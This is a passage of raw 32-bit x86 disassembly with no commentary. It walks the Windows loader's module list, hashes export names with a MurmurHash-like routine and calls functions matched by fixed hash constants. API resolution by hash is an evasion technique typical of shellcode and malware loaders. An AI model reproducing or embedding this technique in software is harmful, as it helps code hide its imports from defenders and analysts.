rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x405f92
cmp esi, 0x1098b3ab
je 0x40601b
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x180]
test ebx, ebx
jne 0x405f73
mov eax, dword [eax]
jmp 0x405f40
mov esi, dword [ebp - 0x17c]
mov edx, dword [ebp - 0x178]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0x198]
push dword [ebp - 0x184]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040b3e0
mov esp, ebp
pop ebp
ret
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x178], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x17c], ecx
cmp ecx, edx
je 0x406142
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x406142
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x180], ecx
dec ebx
mov esi, 0xa0390aa1
mov cl, byte [edi]
inc edi
test cl, cl
je 0x406134
nop word [eax + eax]
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x4060c0
cmp esi, 0xbc4350cc
je 0x406149
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x180]
test ebx, ebx
jne 0x406097
mov eax, dword [eax]
jmp 0x406064
mov esi, dword [ebp - 0x17c]
mov edx, dword [ebp - 0x178]
push dword [ebp - 0x194]
mov eax, dword [esi + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
nop dword [eax]
nop word [eax + eax]
mov eax, dword fs:[0x30]
xorps xmm0, xmm0
movups xmmword [ebp - 0x174], xmm0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x178], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x17c], ecx
cmp ecx, edx
je 0x406273
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x406273
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
sub ecx, 4
dec ebx
mov dword [ebp - 0x180], ecx
mov edi, 0xdafc4a54
mov ecx, dword [ecx]
add ecx, edx
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x406262
movsx esi, dl
lea ecx, [ecx + 1]
imul edx, esi, 0xcc9e2d51
rol edx, 0xf
imul edx, edx, 0x1b873593
xor edx, edi
rol edx, 0xd
add edx, 0xfaddaf14
lea edi, [edx + edx*4]
imul edx, esi, 0x51000000
rol edx, 0xf
imul edx, edx, 0x1b873593
xor edi, edx
xor edi, 1
mov edx, edi
shr edx, 0x10
xor edx, edi
imul esi, edx, 0x85ebca6b
mov edx, esi
shr edx, 0xd
xor edx, esi
imul esi, edx, 0xc2b2ae35
mov edx, esi
shr edx, 0x10
xor edx, esi
imul edi, edx, 0x539
mov dl, byte [ecx - 1]
test dl, dl
jne 0x4061f1
cmp edi, 0x29d8a31c
je 0x40627a
mov ecx, dword [ebp - 0x180]
mov edx, dword [eax + 0x18]
test ebx, ebx
jne 0x4061d3
mov eax, dword [eax]
jmp 0x4061a0
mov esi, dword [ebp - 0x17c]
mov edx, dword [ebp - 0x178]
push 0
push 0x10
mov eax, dword [esi + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x174]
push ecx
push dword [ebp - 0x188]
add eax, edx
push dword [ebp - 0x184]
call eax
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x194], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x178], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x17c], ecx
cmp ecx, edx
je 0x4063a4
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x4063a4
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x180], ecx
dec ebx
mov esi, 0xe82757b0
mov cl, byte [edi]
inc edi
test cl, cl
je 0x406396
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x406322
cmp esi, 0x57a56f47
je 0x4063ab
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x180]
test ebx, ebx
jne 0x406303
mov eax, dword [eax]
jmp 0x4062d0
mov esi, dword [ebp - 0x17c]
mov edx, dword [ebp - 0x178]
push 0xa
mov eax, dword [esi + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
cmp dword [ebp - 0x194], 0
je 0x406180
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x178], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x17c], ecx
cmp ecx, edx
je 0x4064c4
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x4064c4
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x180], ecx
dec ebx
mov esi, 0xb8cb7618
mov cl, byte [edi]
inc edi
test cl, cl
je 0x4064b6
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x406442
cmp esi, 0xd9b019c2
je 0x4064cb
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x180]
test ebx, ebx
jne 0x406423
mov eax, dword [eax]
jmp 0x4063f0
mov esi, dword [ebp - 0x17c]
mov edx, dword [ebp - 0x178]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0x198]
push dword [ebp - 0x184]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040b3e0
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x19c]
push ecx
call fcn.0040b3ee
mov ecx, dword [ebp - 8]
add esp, 4
xor ecx, ebp
xor al, al
pop edi
pop esi
pop ebx
call fcn.0040b3e0
mov esp, ebp
pop ebp
ret